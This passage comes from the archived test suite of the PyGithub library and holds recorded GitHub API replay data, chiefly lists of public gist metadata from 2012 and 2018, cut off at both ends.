puzzle...?","created_at":"2012-05-19T01:12:24Z","id":"2728462"},{"updated_at":"2012-05-19T01:10:01Z","url":"https://api.github.com/gists/2728459","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728459.git","git_push_url":"git@gist.github.com:2728459.git","files":{"dabblet.css":{"type":"text/css","raw_url":"https://gist.github.com/raw/2728459/fcce53fa7e8b1e6c54925dd447eee11d04f4fcac/dabblet.css","size":497,"filename":"dabblet.css","language":"CSS"},"dabblet.html":{"type":"text/html","raw_url":"https://gist.github.com/raw/2728459/4d3163ebd7daa36553c07dccfd1669080ca481fa/dabblet.html","size":125,"filename":"dabblet.html","language":"HTML"},"settings.json":{"type":"application/json","raw_url":"https://gist.github.com/raw/2728459/7816f94e27f5880305fe4e93fc053ffdb62b4754/settings.json","size":88,"filename":"settings.json","language":"JSON"}},"html_url":"https://gist.github.com/2728459","user":{"url":"https://api.github.com/users/37mm","gravatar_id":"72cbc6763e747df6f4b1504533ed3174","avatar_url":"https://secure.gravatar.com/avatar/72cbc6763e747df6f4b1504533ed3174?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"37mm","id":1298921},"description":"Centering Test","created_at":"2012-05-19T01:10:01Z","id":"2728459"},{"updated_at":"2012-05-19T01:07:12Z","url":"https://api.github.com/gists/2728453","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728453.git","git_push_url":"git@gist.github.com:2728453.git","files":{"pathing.example.php":{"type":"application/httpd-php","raw_url":"https://gist.github.com/raw/2728453/1fd4ed05b0bd03a5eb2d9ef7383e031ceec2dbab/pathing.example.php","size":2995,"filename":"pathing.example.php","language":"PHP"},"pathing.php":{"type":"application/httpd-php","raw_url":"https://gist.github.com/raw/2728453/2bc4790acd815d6b1817ab82656b81af94d6c7f1/pathing.php","size":3377,"filename":"pathing.php","language":"PHP"}},"html_url":"https://gist.github.com/2728453","user":{"url":"https://api.github.com/users/alixaxel","gravatar_id":"be9e4cbcfa96b7e4ad4bc28c88cfdb2b","avatar_url":"https://secure.gravatar.com/avatar/be9e4cbcfa96b7e4ad4bc28c88cfdb2b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"alixaxel","id":262782},"description":"","created_at":"2012-05-19T01:07:12Z","id":"2728453"},{"updated_at":"2012-05-19T01:06:03Z","url":"https://api.github.com/gists/2728451","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728451.git","git_push_url":"git@gist.github.com:2728451.git","files":{"rfc1918.rb":{"type":"application/ruby","raw_url":"https://gist.github.com/raw/2728451/df529e59919f90cc44e91aa178fd39f60a637a16/rfc1918.rb","size":758,"filename":"rfc1918.rb","language":"Ruby"}},"html_url":"https://gist.github.com/2728451","user":{"url":"https://api.github.com/users/bmc","gravatar_id":"21e10bea0de20a200e5c7801e10227a9","avatar_url":"https://secure.gravatar.com/avatar/21e10bea0de20a200e5c7801e10227a9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bmc","id":23894},"description":"Quick and dirty Ruby module to determine if IP address (as string) is RFC-1918 address","created_at":"2012-05-19T01:06:03Z","id":"2728451"},{"updated_at":"2012-05-19T00:53:36Z","url":"https://api.github.com/gists/2728420","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728420.git","git_push_url":"git@gist.github.com:2728420.git","files":{"dabblet.css":{"type":"text/css","raw_url":"https://gist.github.com/raw/2728420/993553d3188fffcfbae007dbc2affa216754156d/dabblet.css","size":689,"filename":"dabblet.css","language":"CSS"},"dabblet.html":{"type":"text/html","raw_url":"https://gist.github.com/raw/2728420/2abe752bfe29d0dd2a7bb3d5f2f619fffe530170/dabblet.html","size":162,"filename":"dabblet.html","language":"HTML"},"settings.json":{"type":"application/json","raw_url":"https://gist.github.com/raw/2728420/7816f94e27f5880305fe4e93fc053ffdb62b4754/settings.json","size":88,"filename":"settings.json","language":"JSON"}},"html_url":"https://gist.github.com/2728420","user":{"url":"https://api.github.com/users/37mm","gravatar_id":"72cbc6763e747df6f4b1504533ed3174","avatar_url":"https://secure.gravatar.com/avatar/72cbc6763e747df6f4b1504533ed3174?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"37mm","id":1298921},"description":"Centering Tests","created_at":"2012-05-19T00:53:36Z","id":"2728420"},{"updated_at":"2012-05-19T00:47:32Z","url":"https://api.github.com/gists/2728389","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728389.git","git_push_url":"git@gist.github.com:2728389.git","files":{"gistfile1.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728389/92cb0a7255249b2f94d9d04e51d40e205dba230b/gistfile1.txt","size":1899,"filename":"gistfile1.txt","language":"Text"}},"html_url":"https://gist.github.com/2728389","user":{"url":"https://api.github.com/users/qmx","gravatar_id":"684b4bfe97a40454db104abcb601e375","avatar_url":"https://secure.gravatar.com/avatar/684b4bfe97a40454db104abcb601e375?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"qmx","id":66734},"description":"","created_at":"2012-05-19T00:47:32Z","id":"2728389"},{"updated_at":"2012-05-19T00:46:35Z","url":"https://api.github.com/gists/2728385","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728385.git","git_push_url":"git@gist.github.com:2728385.git","files":{"gistfile1.js":{"type":"application/javascript","raw_url":"https://gist.github.com/raw/2728385/5fbfa6cede70702fb87f368028c510c880948be8/gistfile1.js","size":309,"filename":"gistfile1.js","language":"JavaScript"}},"html_url":"https://gist.github.com/2728385","user":{"url":"https://api.github.com/users/xupeng","gravatar_id":"44fdbd3419f6ce93976fcfa86d599a70","avatar_url":"https://secure.gravatar.com/avatar/44fdbd3419f6ce93976fcfa86d599a70?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"xupeng","id":259658},"description":"自动跳转到广播页","created_at":"2012-05-19T00:46:35Z","id":"2728385"},{"updated_at":"2012-05-19T00:45:40Z","url":"https://api.github.com/gists/2728382","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728382.git","git_push_url":"git@gist.github.com:2728382.git","files":{"dabblet.css":{"type":"text/css","raw_url":"https://gist.github.com/raw/2728382/4a6acf3f4153514685a7527a33a4deaafb62fd5f/dabblet.css","size":717,"filename":"dabblet.css","language":"CSS"},"dabblet.html":{"type":"text/html","raw_url":"https://gist.github.com/raw/2728382/12623c75e860747639b043bffa60d49a0bfa41a1/dabblet.html","size":161,"filename":"dabblet.html","language":"HTML"},"settings.json":{"type":"application/json","raw_url":"https://gist.github.com/raw/2728382/7816f94e27f5880305fe4e93fc053ffdb62b4754/settings.json","size":88,"filename":"settings.json","language":"JSON"}},"html_url":"https://gist.github.com/2728382","user":{"url":"https://api.github.com/users/37mm","gravatar_id":"72cbc6763e747df6f4b1504533ed3174","avatar_url":"https://secure.gravatar.com/avatar/72cbc6763e747df6f4b1504533ed3174?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"37mm","id":1298921},"description":"Centering Tests","created_at":"2012-05-19T00:45:40Z","id":"2728382"},{"updated_at":"2012-05-19T00:45:37Z","url":"https://api.github.com/gists/2728380","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728380.git","git_push_url":"git@gist.github.com:2728380.git","files":{"correlation_examples.R":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728380/8306c62b3fea036155cff1104e7bae4e76da253a/correlation_examples.R","size":2586,"filename":"correlation_examples.R","language":"R"},"run.py":{"type":"application/python","raw_url":"https://gist.github.com/raw/2728380/f15c99f5747110d465b878f26dd81df3e2041c7c/run.py","size":2291,"filename":"run.py","language":"Python"},"correlation_examples.py":{"type":"application/python","raw_url":"https://gist.github.com/raw/2728380/b70a10abf9e6495aafb491e46d5ed69200a5e470/correlation_examples.py","size":4140,"filename":"correlation_examples.py","language":"Python"}},"html_url":"https://gist.github.com/2728380","user":{"url":"https://api.github.com/users/joskid","gravatar_id":"74231318b03600599b999e675a5c31b4","avatar_url":"https://secure.gravatar.com/avatar/74231318b03600599b999e675a5c31b4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"joskid","id":644086},"description":"Examples of dependence beyond correlation","created_at":"2012-05-19T00:45:37Z","id":"2728380"},{"updated_at":"2012-05-19T00:42:59Z","url":"https://api.github.com/gists/2728373","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728373.git","git_push_url":"git@gist.github.com:2728373.git","files":{"gistfile1.rkt":{"type":"text/scheme","raw_url":"https://gist.github.com/raw/2728373/846e565c7770e34f6f8c246ac1dad24ce52a105e/gistfile1.rkt","size":977,"filename":"gistfile1.rkt","language":"Racket"}},"html_url":"https://gist.github.com/2728373","user":{"url":"https://api.github.com/users/danking","gravatar_id":"04f0f7c2e53e406e17528b434a96b0f3","avatar_url":"https://secure.gravatar.com/avatar/04f0f7c2e53e406e17528b434a96b0f3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"danking","id":106194},"description":"","created_at":"2012-05-19T00:42:59Z","id":"2728373"},{"updated_at":"2012-05-19T00:40:31Z","url":"https://api.github.com/gists/2728371","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728371.git","git_push_url":"git@gist.github.com:2728371.git","files":{"emacs.rb":{"type":"application/ruby","raw_url":"https://gist.github.com/raw/2728371/759965425b353412ed0169c7a024dc4f6e22aab2/emacs.rb","size":3450,"filename":"emacs.rb","language":"Ruby"}},"html_url":"https://gist.github.com/2728371","user":{"url":"https://api.github.com/users/opennista1","gravatar_id":"e523b5425d1e9814221e3c1b6aed5276","avatar_url":"https://secure.gravatar.com/avatar/e523b5425d1e9814221e3c1b6aed5276?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"opennista1","id":1684080},"description":"Yet Another Emacs 23.4 homebrew Formula","created_at":"2012-05-19T00:40:31Z","id":"2728371"},{"updated_at":"2012-05-19T00:38:53Z","url":"https://api.github.com/gists/2728369","comments":1,"public":true,"git_pull_url":"git://gist.github.com/2728369.git","git_push_url":"git@gist.github.com:2728369.git","files":{"build.sbt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728369/a73fa89294fbdc7ed5b05a50345485569da8352d/build.sbt","size":238,"filename":"build.sbt","language":"Scala"}},"html_url":"https://gist.github.com/2728369","user":{"url":"https://api.github.com/users/kmizu","gravatar_id":"0cd46aa475288438b0b7f214b74321e3","avatar_url":"https://secure.gravatar.com/avatar/0cd46aa475288438b0b7f214b74321e3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kmizu","id":97326},"description":"Code snippet of build.sbt for Finagle 4.0.2 in Scala 2.9.1","created_at":"2012-05-19T00:38:53Z","id":"2728369"},{"updated_at":"2012-05-19T00:37:08Z","url":"https://api.github.com/gists/2728360","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728360.git","git_push_url":"git@gist.github.com:2728360.git","files":{"gistfile1.txt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728360/548cc17c6bcdc36b3fb28d7002798ed856f9476f/gistfile1.txt","size":545,"filename":"gistfile1.txt","language":"Text"}},"html_url":"https://gist.github.com/2728360","user":{"url":"https://api.github.com/users/lkuper","gravatar_id":"07293d028e67783e7571b109dbedb472","avatar_url":"https://secure.gravatar.com/avatar/07293d028e67783e7571b109dbedb472?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"lkuper","id":535218},"description":"","created_at":"2012-05-19T00:37:08Z","id":"2728360"},{"updated_at":"2012-05-19T00:34:46Z","url":"https://api.github.com/gists/2728325","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728325.git","git_push_url":"git@gist.github.com:2728325.git","files":{"InterceptWithAttributeEntity2.cs":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728325/5adfaf1da715c87f0bb7c7647165705f8c2f8df2/InterceptWithAttributeEntity2.cs","size":3494,"filename":"InterceptWithAttributeEntity2.cs","language":"C#"}},"html_url":"https://gist.github.com/2728325","user":{"url":"https://api.github.com/users/jpolvora","gravatar_id":"1af1996c69c3c6016cbdec50a6c7caf0","avatar_url":"https://secure.gravatar.com/avatar/1af1996c69c3c6016cbdec50a6c7caf0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jpolvora","id":955554},"description":"InterceptWithAttributeEntity2","created_at":"2012-05-19T00:34:46Z","id":"2728325"},{"updated_at":"2012-05-19T00:34:16Z","url":"https://api.github.com/gists/2728316","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728316.git","git_push_url":"git@gist.github.com:2728316.git","files":{"Makefile.in":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728316/e48c49a7cf8d9080db9fde5c243d99bf3bdefc46/Makefile.in","size":636,"filename":"Makefile.in","language":null}},"html_url":"https://gist.github.com/2728316","user":{"url":"https://api.github.com/users/shujinarazaki","gravatar_id":"7cbf6733aa281603ea83b22ada147691","avatar_url":"https://secure.gravatar.com/avatar/7cbf6733aa281603ea83b22ada147691?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"shujinarazaki","id":997855},"description":"Emacs trunk/Makefile.in","created_at":"2012-05-19T00:34:16Z","id":"2728316"},{"updated_at":"2012-05-19T00:30:53Z","url":"https://api.github.com/gists/2728309","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728309.git","git_push_url":"git@gist.github.com:2728309.git","files":{"sphere.js":{"type":"application/javascript","raw_url":"https://gist.github.com/raw/2728309/685095bf3e1bd9888c857ca13b16908e42ca2a47/sphere.js","size":156,"filename":"sphere.js","language":"JavaScript"}},"html_url":"https://gist.github.com/2728309","user":{"url":"https://api.github.com/users/bmander","gravatar_id":"ffb24930250fe5b9dc676c63716ee085","avatar_url":"https://secure.gravatar.com/avatar/ffb24930250fe5b9dc676c63716ee085?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bmander","id":51985},"description":"jscad sphere","created_at":"2012-05-19T00:30:53Z","id":"2728309"},{"updated_at":"2012-05-19T00:29:11Z","url":"https://api.github.com/gists/2728306","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728306.git","git_push_url":"git@gist.github.com:2728306.git","files":{"Component":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728306/c247a20395c5c2dd20e67fca9300456e457fa17f/Component","size":147,"filename":"Component","language":null}},"html_url":"https://gist.github.com/2728306","user":{"url":"https://api.github.com/users/vladiim","gravatar_id":"5efae54b9db4f9a847b27f8baf9261db","avatar_url":"https://secure.gravatar.com/avatar/5efae54b9db4f9a847b27f8baf9261db?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"vladiim","id":701194},"description":"","created_at":"2012-05-19T00:29:11Z","id":"2728306"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Github.testGetGistsWithSince.txt0000644000175100001660000003324014756101563024411 0ustar00runnerdockerhttps GET api.github.com None /gists/public?since=2018-10-02T10%3A38%3A30Z {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 02 Oct 2018 10:39:11 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1538478827'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('ETag', 'W/"5437ff694e11dc6803fe9a1d5665c7ba"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-Runtime-rack', '0.063530'), ('Content-Encoding', 'gzip')] [{"url":"https://api.github.com/gists/69b8a5831b74946db944c5451017fa40","forks_url":"https://api.github.com/gists/69b8a5831b74946db944c5451017fa40/forks","commits_url":"https://api.github.com/gists/69b8a5831b74946db944c5451017fa40/commits","id":"69b8a5831b74946db944c5451017fa40","node_id":"MDQ6R2lzdDY5YjhhNTgzMWI3NDk0NmRiOTQ0YzU0NTEwMTdmYTQw","git_pull_url":"https://gist.github.com/69b8a5831b74946db944c5451017fa40.git","git_push_url":"https://gist.github.com/69b8a5831b74946db944c5451017fa40.git","html_url":"https://gist.github.com/69b8a5831b74946db944c5451017fa40","files":{"flasks.gs":{"filename":"flasks.gs","type":"text/plain","language":"JavaScript","raw_url":"https://gist.githubusercontent.com/Kungfumoo/69b8a5831b74946db944c5451017fa40/raw/6caa5966d3540b56b1b3da9a21f46318a78cfa65/flasks.gs","size":550}},"public":true,"created_at":"2018-10-02T10:38:40Z","updated_at":"2018-10-02T10:38:40Z","description":"Omen flasks cheat sheet generator","comments":0,"user":null,"comments_url":"https://api.github.com/gists/69b8a5831b74946db944c5451017fa40/comments","owner":{"login":"Kungfumoo","id":11707939,"node_id":"MDQ6VXNlcjExNzA3OTM5","avatar_url":"https://avatars3.githubusercontent.com/u/11707939?v=4","gravatar_id":"","url":"https://api.github.com/users/Kungfumoo","html_url":"https://github.com/Kungfumoo","followers_url":"https://api.github.com/users/Kungfumoo/followers","following_url":"https://api.github.com/users/Kungfumoo/following{/other_user}","gists_url":"https://api.github.com/users/Kungfumoo/gists{/gist_id}","starred_url":"https://api.github.com/users/Kungfumoo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Kungfumoo/subscriptions","organizations_url":"https://api.github.com/users/Kungfumoo/orgs","repos_url":"https://api.github.com/users/Kungfumoo/repos","events_url":"https://api.github.com/users/Kungfumoo/events{/privacy}","received_events_url":"https://api.github.com/users/Kungfumoo/received_events","type":"User","site_admin":false},"truncated":false},{"url":"https://api.github.com/gists/c22050a8705e93d170e0d4ca9c02e40c","forks_url":"https://api.github.com/gists/c22050a8705e93d170e0d4ca9c02e40c/forks","commits_url":"https://api.github.com/gists/c22050a8705e93d170e0d4ca9c02e40c/commits","id":"c22050a8705e93d170e0d4ca9c02e40c","node_id":"MDQ6R2lzdGMyMjA1MGE4NzA1ZTkzZDE3MGUwZDRjYTljMDJlNDBj","git_pull_url":"https://gist.github.com/c22050a8705e93d170e0d4ca9c02e40c.git","git_push_url":"https://gist.github.com/c22050a8705e93d170e0d4ca9c02e40c.git","html_url":"https://gist.github.com/c22050a8705e93d170e0d4ca9c02e40c","files":{"gistfile1.txt":{"filename":"gistfile1.txt","type":"text/plain","language":"Text","raw_url":"https://gist.githubusercontent.com/dev16pk/c22050a8705e93d170e0d4ca9c02e40c/raw/11bf41c91d5e5619970ebd789810245cd9dfe062/gistfile1.txt","size":23801}},"public":true,"created_at":"2018-10-02T09:33:17Z","updated_at":"2018-10-02T10:38:41Z","description":"","comments":0,"user":null,"comments_url":"https://api.github.com/gists/c22050a8705e93d170e0d4ca9c02e40c/comments","owner":{"login":"dev16pk","id":43778180,"node_id":"MDQ6VXNlcjQzNzc4MTgw","avatar_url":"https://avatars2.githubusercontent.com/u/43778180?v=4","gravatar_id":"","url":"https://api.github.com/users/dev16pk","html_url":"https://github.com/dev16pk","followers_url":"https://api.github.com/users/dev16pk/followers","following_url":"https://api.github.com/users/dev16pk/following{/other_user}","gists_url":"https://api.github.com/users/dev16pk/gists{/gist_id}","starred_url":"https://api.github.com/users/dev16pk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dev16pk/subscriptions","organizations_url":"https://api.github.com/users/dev16pk/orgs","repos_url":"https://api.github.com/users/dev16pk/repos","events_url":"https://api.github.com/users/dev16pk/events{/privacy}","received_events_url":"https://api.github.com/users/dev16pk/received_events","type":"User","site_admin":false},"truncated":false},{"url":"https://api.github.com/gists/a7a95e1a194e07960364a5b32c56ac5f","forks_url":"https://api.github.com/gists/a7a95e1a194e07960364a5b32c56ac5f/forks","commits_url":"https://api.github.com/gists/a7a95e1a194e07960364a5b32c56ac5f/commits","id":"a7a95e1a194e07960364a5b32c56ac5f","node_id":"MDQ6R2lzdGE3YTk1ZTFhMTk0ZTA3OTYwMzY0YTViMzJjNTZhYzVm","git_pull_url":"https://gist.github.com/a7a95e1a194e07960364a5b32c56ac5f.git","git_push_url":"https://gist.github.com/a7a95e1a194e07960364a5b32c56ac5f.git","html_url":"https://gist.github.com/a7a95e1a194e07960364a5b32c56ac5f","files":{"cube.py":{"filename":"cube.py","type":"application/x-python","language":"Python","raw_url":"https://gist.githubusercontent.com/DatHydroGuy/a7a95e1a194e07960364a5b32c56ac5f/raw/21d49b66ae3a73647d25e06eeb895ab74ff0111a/cube.py","size":4280},"orig.py":{"filename":"orig.py","type":"application/x-python","language":"Python","raw_url":"https://gist.githubusercontent.com/DatHydroGuy/a7a95e1a194e07960364a5b32c56ac5f/raw/d080a0ec78420d8d1ffee95e9f0e4efa628582bb/orig.py","size":658},"quad.py":{"filename":"quad.py","type":"application/x-python","language":"Python","raw_url":"https://gist.githubusercontent.com/DatHydroGuy/a7a95e1a194e07960364a5b32c56ac5f/raw/fc2b911d1e836d37eac9fc8345a3c24255983a7f/quad.py","size":3036},"red_triangle.py":{"filename":"red_triangle.py","type":"application/x-python","language":"Python","raw_url":"https://gist.githubusercontent.com/DatHydroGuy/a7a95e1a194e07960364a5b32c56ac5f/raw/a6a47c835b49e05b5038ecbcb0d42ea951e1c1c9/red_triangle.py","size":1845},"resources.txt":{"filename":"resources.txt","type":"text/plain","language":"Text","raw_url":"https://gist.githubusercontent.com/DatHydroGuy/a7a95e1a194e07960364a5b32c56ac5f/raw/5da461e4e71d5066036d7533a145616295ac161f/resources.txt","size":208},"tex_quad.py":{"filename":"tex_quad.py","type":"application/x-python","language":"Python","raw_url":"https://gist.githubusercontent.com/DatHydroGuy/a7a95e1a194e07960364a5b32c56ac5f/raw/f076b974b417acc3765699e88115fef052448a88/tex_quad.py","size":4586},"tex_quad_png.py":{"filename":"tex_quad_png.py","type":"application/x-python","language":"Python","raw_url":"https://gist.githubusercontent.com/DatHydroGuy/a7a95e1a194e07960364a5b32c56ac5f/raw/0ceb0b41080051be64045f99d8dc3a52af2ab730/tex_quad_png.py","size":4872},"triangle.py":{"filename":"triangle.py","type":"application/x-python","language":"Python","raw_url":"https://gist.githubusercontent.com/DatHydroGuy/a7a95e1a194e07960364a5b32c56ac5f/raw/79f9926a5e68c97d7b5b595065d55556cbc25942/triangle.py","size":2625}},"public":true,"created_at":"2018-10-01T13:00:38Z","updated_at":"2018-10-02T10:39:06Z","description":"","comments":0,"user":null,"comments_url":"https://api.github.com/gists/a7a95e1a194e07960364a5b32c56ac5f/comments","owner":{"login":"DatHydroGuy","id":28946117,"node_id":"MDQ6VXNlcjI4OTQ2MTE3","avatar_url":"https://avatars2.githubusercontent.com/u/28946117?v=4","gravatar_id":"","url":"https://api.github.com/users/DatHydroGuy","html_url":"https://github.com/DatHydroGuy","followers_url":"https://api.github.com/users/DatHydroGuy/followers","following_url":"https://api.github.com/users/DatHydroGuy/following{/other_user}","gists_url":"https://api.github.com/users/DatHydroGuy/gists{/gist_id}","starred_url":"https://api.github.com/users/DatHydroGuy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/DatHydroGuy/subscriptions","organizations_url":"https://api.github.com/users/DatHydroGuy/orgs","repos_url":"https://api.github.com/users/DatHydroGuy/repos","events_url":"https://api.github.com/users/DatHydroGuy/events{/privacy}","received_events_url":"https://api.github.com/users/DatHydroGuy/received_events","type":"User","site_admin":false},"truncated":false},{"url":"https://api.github.com/gists/a25d9ace89b574f95bf0724f95a84fc2","forks_url":"https://api.github.com/gists/a25d9ace89b574f95bf0724f95a84fc2/forks","commits_url":"https://api.github.com/gists/a25d9ace89b574f95bf0724f95a84fc2/commits","id":"a25d9ace89b574f95bf0724f95a84fc2","node_id":"MDQ6R2lzdGEyNWQ5YWNlODliNTc0Zjk1YmYwNzI0Zjk1YTg0ZmMy","git_pull_url":"https://gist.github.com/a25d9ace89b574f95bf0724f95a84fc2.git","git_push_url":"https://gist.github.com/a25d9ace89b574f95bf0724f95a84fc2.git","html_url":"https://gist.github.com/a25d9ace89b574f95bf0724f95a84fc2","files":{"cloudSettings":{"filename":"cloudSettings","type":"text/plain","language":null,"raw_url":"https://gist.githubusercontent.com/lloydh/a25d9ace89b574f95bf0724f95a84fc2/raw/32a15df0ba869ec808f71326318f53c6fea8f563/cloudSettings","size":69},"extensions.json":{"filename":"extensions.json","type":"application/json","language":"JSON","raw_url":"https://gist.githubusercontent.com/lloydh/a25d9ace89b574f95bf0724f95a84fc2/raw/91c63643f88e5a49e0535dac8cb4e032cc1d3ecb/extensions.json","size":4919},"keybindings.json":{"filename":"keybindings.json","type":"application/json","language":"JSON","raw_url":"https://gist.githubusercontent.com/lloydh/a25d9ace89b574f95bf0724f95a84fc2/raw/1aa5dc1d6d49433f0f8d3d76c850a9aa04afe7df/keybindings.json","size":252},"keybindingsMac.json":{"filename":"keybindingsMac.json","type":"application/json","language":"JSON","raw_url":"https://gist.githubusercontent.com/lloydh/a25d9ace89b574f95bf0724f95a84fc2/raw/3668f61b827e05ac961afc397c2508d96d8f52b6/keybindingsMac.json","size":451},"settings.json":{"filename":"settings.json","type":"application/json","language":"JSON","raw_url":"https://gist.githubusercontent.com/lloydh/a25d9ace89b574f95bf0724f95a84fc2/raw/22736bf652105853165f15c1bb21c7ab7de4a162/settings.json","size":1396},"vsicons.settings.json":{"filename":"vsicons.settings.json","type":"application/json","language":"JSON","raw_url":"https://gist.githubusercontent.com/lloydh/a25d9ace89b574f95bf0724f95a84fc2/raw/200c1042e6c2ba59597daf7981029cbd353fee6c/vsicons.settings.json","size":51}},"public":true,"created_at":"2018-07-05T12:23:18Z","updated_at":"2018-10-02T10:38:38Z","description":"Visual Studio Code Settings Sync Gist","comments":0,"user":null,"comments_url":"https://api.github.com/gists/a25d9ace89b574f95bf0724f95a84fc2/comments","owner":{"login":"lloydh","id":438273,"node_id":"MDQ6VXNlcjQzODI3Mw==","avatar_url":"https://avatars0.githubusercontent.com/u/438273?v=4","gravatar_id":"","url":"https://api.github.com/users/lloydh","html_url":"https://github.com/lloydh","followers_url":"https://api.github.com/users/lloydh/followers","following_url":"https://api.github.com/users/lloydh/following{/other_user}","gists_url":"https://api.github.com/users/lloydh/gists{/gist_id}","starred_url":"https://api.github.com/users/lloydh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lloydh/subscriptions","organizations_url":"https://api.github.com/users/lloydh/orgs","repos_url":"https://api.github.com/users/lloydh/repos","events_url":"https://api.github.com/users/lloydh/events{/privacy}","received_events_url":"https://api.github.com/users/lloydh/received_events","type":"User","site_admin":false},"truncated":false},{"url":"https://api.github.com/gists/3195465","forks_url":"https://api.github.com/gists/3195465/forks","commits_url":"https://api.github.com/gists/3195465/commits","id":"3195465","node_id":"MDQ6R2lzdDMxOTU0NjU=","git_pull_url":"https://gist.github.com/3195465.git","git_push_url":"https://gist.github.com/3195465.git","html_url":"https://gist.github.com/3195465","files":{"osx-for-hackers.sh":{"filename":"osx-for-hackers.sh","type":"application/x-sh","language":"Shell","raw_url":"https://gist.githubusercontent.com/brandonb927/3195465/raw/349f7b1d57733ac573177bc9af1b1be7ee35de1b/osx-for-hackers.sh","size":28235}},"public":true,"created_at":"2012-07-29T00:43:43Z","updated_at":"2018-10-02T10:39:05Z","description":"OSX for Hackers: Yosemite/El Capitan Edition. This script tries not to be *too* opinionated and any major changes to your system require a prompt. You've been warned.","comments":134,"user":null,"comments_url":"https://api.github.com/gists/3195465/comments","owner":{"login":"brandonb927","id":1509352,"node_id":"MDQ6VXNlcjE1MDkzNTI=","avatar_url":"https://avatars2.githubusercontent.com/u/1509352?v=4","gravatar_id":"","url":"https://api.github.com/users/brandonb927","html_url":"https://github.com/brandonb927","followers_url":"https://api.github.com/users/brandonb927/followers","following_url":"https://api.github.com/users/brandonb927/following{/other_user}","gists_url":"https://api.github.com/users/brandonb927/gists{/gist_id}","starred_url":"https://api.github.com/users/brandonb927/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/brandonb927/subscriptions","organizations_url":"https://api.github.com/users/brandonb927/orgs","repos_url":"https://api.github.com/users/brandonb927/repos","events_url":"https://api.github.com/users/brandonb927/events{/privacy}","received_events_url":"https://api.github.com/users/brandonb927/received_events","type":"User","site_admin":false},"truncated":false}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Github.testGetGitignoreTemplate.txt0000644000175100001660000000334614756101563025131 0ustar00runnerdockerhttps GET api.github.com None /gitignore/templates/Python {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '367'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-remaining', '4990'), ('server', 'nginx'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"57aaf2580ebb3b8463d514285e0ca3dd"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Fri, 21 Dec 2012 19:56:02 GMT'), ('content-type', 'application/json; 